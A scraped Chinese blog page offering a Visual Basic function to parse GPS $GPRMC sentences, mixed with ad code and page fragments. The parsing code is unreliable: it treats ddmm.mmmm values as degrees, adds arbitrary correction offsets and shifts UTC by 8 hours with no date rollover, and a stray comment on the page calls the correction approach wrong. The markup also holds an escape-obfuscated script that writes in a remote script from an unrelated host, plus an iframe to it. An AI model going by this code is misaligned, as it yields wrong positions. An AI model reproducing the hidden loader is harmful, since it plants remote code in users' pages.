VB中分析GPS返回的$GPRMC数据

这篇博客探讨了如何在VB环境下处理和分析GPS设备返回的$GPRMC字符串,讲解了相关的方法和步骤。
摘要由CSDN通过智能技术生成
 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count1.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
VB中分析GPS返回的$GPRMC数据

<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
误的。得到的数据并不精确。你试图加入修正值来修正错误的思路也是错误的。










上一篇: Dephi中使用ListView
 | 
下一篇: VB中利用MapX自动绘制图层

function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}


 VB中分析GPS返回的$GPRMC数据



'-----------------------------------------------------------------------------------------------------
'
'             截取GPS数据的处理过程
'
'             WYY    2006年4月
'
'       入口:strInfo
'       出口: uGPSInfo变量中
'
'说明:$GPRMC,100119.999,A,2236.8226,N,11403.7299,E,0.62,120.87,220506,,*00
'      100119.999   --十分秒(格林威治时间)
'      2236.8226,N  --北纬坐标(2236.8226)                 2236.8226,S         ----南纬坐标
'      11403.7299,E --东京坐标(11403.7299)                11403.7299,E        ----西京坐标
'      0.62         --gps的移动速度
'      120.87       --地面的方位角
'      220506       --日期
'-----------------------------------------------------------------------------------------------------
Public Function TransGPSData(strInfo As String) As Boolean
   
    Dim strTemp         As String   '字符串缓存
    Dim sTemp           As String   '暂存
    Dim strTime         As String   '时间
    Dim strDate         As String   '日期
    '开始赋值为失败标志
    TransGPSData = False
    On Error GoTo ErrInfo
   
    '从GPS数据中获取时间  GPS接收的是UTC时间(世界标准时间)需要转换成为北京时间,二者之间相差8个小时
    strTime = Left(strInfo, 6)
    uGPSInfo.utTime = Format((Int(Left(strTime, 2)) + 8) & ":" & (Int(Mid(strTime, 3, 2))) & ":" & (Int(Right(strTime, 2))), "HH:MM:SS")
   
    '---截掉gps的日期
    If InStr(strInfo, strTime & ".") <> 0 Then
        sTemp = Mid(strInfo, 12, Len(strInfo) - 11)
    Else
        sTemp = Mid(strInfo, 7, Len(strInfo) - 7)
    End If
   
   
    'GPS通信正常(A)或者不正常(V)时,都获取以下数据
    If InStr(sTemp, "A,") <> 0 Or InStr(sTemp, "V,") <> 0 Then
   
        '从GPS数据中获取北纬坐标
        strTemp = Mid(sTemp, 3, Len(sTemp) - 2)
       
        If InStr(strTemp, "N") <> 0 Then
            sTemp = Left(strTemp, InStr(strTemp, ",N,") - 1)
            uGPSInfo.utGPSY = CDbl(sTemp / 100 + 0.25)
'            uGPSInfo.utGPSY = CDbl(sTemp / 100 + 0.02)
            '将已经获得的坐标从字符串中删除
            strTemp = Mid(strTemp, InStr(strTemp, ",N,") + 3, Len(strTemp) - InStr(strTemp, ",N,") + 1)
        End If
       
        If InStr(strTemp, "S") <> 0 Then
            sTemp = Left(strTemp, InStr(strTemp, ",S,") - 1)
            uGPSInfo.utGPSY = CDbl(sTemp / 100 + 0.25)
'            uGPSInfo.utGPSY = CDbl(sTemp / 100 + 0.02)
            '将已经获得的坐标从字符串中删除
            strTemp = Mid(strTemp, InStr(strTemp, ",S,") + 3, Len(strTemp) - InStr(strTemp, ",S,") + 1)
        End If
       
       
       
       
        '从GPS数据中获取东经坐标
        If InStr(strTemp, ",E,") <> 0 Then
            sTemp = Left(strTemp, InStr(strTemp, ",E,") - 1)
            uGPSInfo.utGPSX = CDbl(sTemp / 100 + 0.03)
'            uGPSInfo.utGPSX = CDbl(sTemp / 100 + 0.28)
            '将已经获得的坐标从字符串中删除
            strTemp = Mid(strTemp, InStr(strTemp, ",E,") + 3, Len(strTemp) - InStr(strTemp, ",E,") + 1)
        End If
       
        If InStr(strTemp, ",W,") <> 0 Then
            sTemp = Left(strTemp, InStr(strTemp, ",W,") - 1)
            uGPSInfo.utGPSX = CDbl(sTemp / 100 + 0.03)
'            uGPSInfo.utGPSX = CDbl(sTemp / 100 + 0.28)
            '将已经获得的坐标从字符串中删除
            strTemp = Mid(strTemp, InStr(strTemp, ",W,") + 3, Len(strTemp) - InStr(strTemp, ",W,") + 1)
        End If
       
       
        '从GPS数据中获取GPS速度
        sTemp = Left(strTemp, InStr(strTemp, ",") - 1)
        If sTemp = "" Or Len(sTemp) = 0 Then sTemp = 0
        uGPSInfo.utSpeed = CSng(sTemp)
        '将已经获得的数据从字符串中删除
        strTemp = Mid(strTemp, InStr(strTemp, ",") + 1, Len(strTemp) - InStr(strTemp, ","))
       
       
        '从GPS数据中获取方位角
        If Left(strTemp, 1) = "," Then strTemp = Mid(strTemp, 2, Len(strTemp) - 1)
        sTemp = Left(strTemp, InStr(strTemp, ",") - 1)
        uGPSInfo.utWay = CSng(sTemp)
        '将已经获得的数据从字符串中删除
        strTemp = Mid(strTemp, InStr(strTemp, ",") + 1, Len(strTemp) - InStr(strTemp, ","))
       
       
        '从GPS数据中获取日期
        sTemp = Left(strTemp, InStr(strTemp, ",") - 1)
        uGPSInfo.utDate = Format(Right(sTemp, 2) & "-" & Mid(sTemp, 3, 2) & "-" & Left(sTemp, 2), "YYYY年MM月DD日")
       
       
        '将已经获得的数据从字符串中删除
        strTemp = Mid(strTemp, InStr(strTemp, ",") + 1, Len(strTemp) - InStr(strTemp, ","))
    End If
    '成功标志
    TransGPSData = True
    Exit Function
ErrInfo:
    TransGPSData = False
    MsgBox err.Description & Chr(13) & "GPS数据处理失败!", vbInformation, "提示:"
   
End Function
 
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
src="http://avss.b15.cnwg.cn/count/iframe1.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值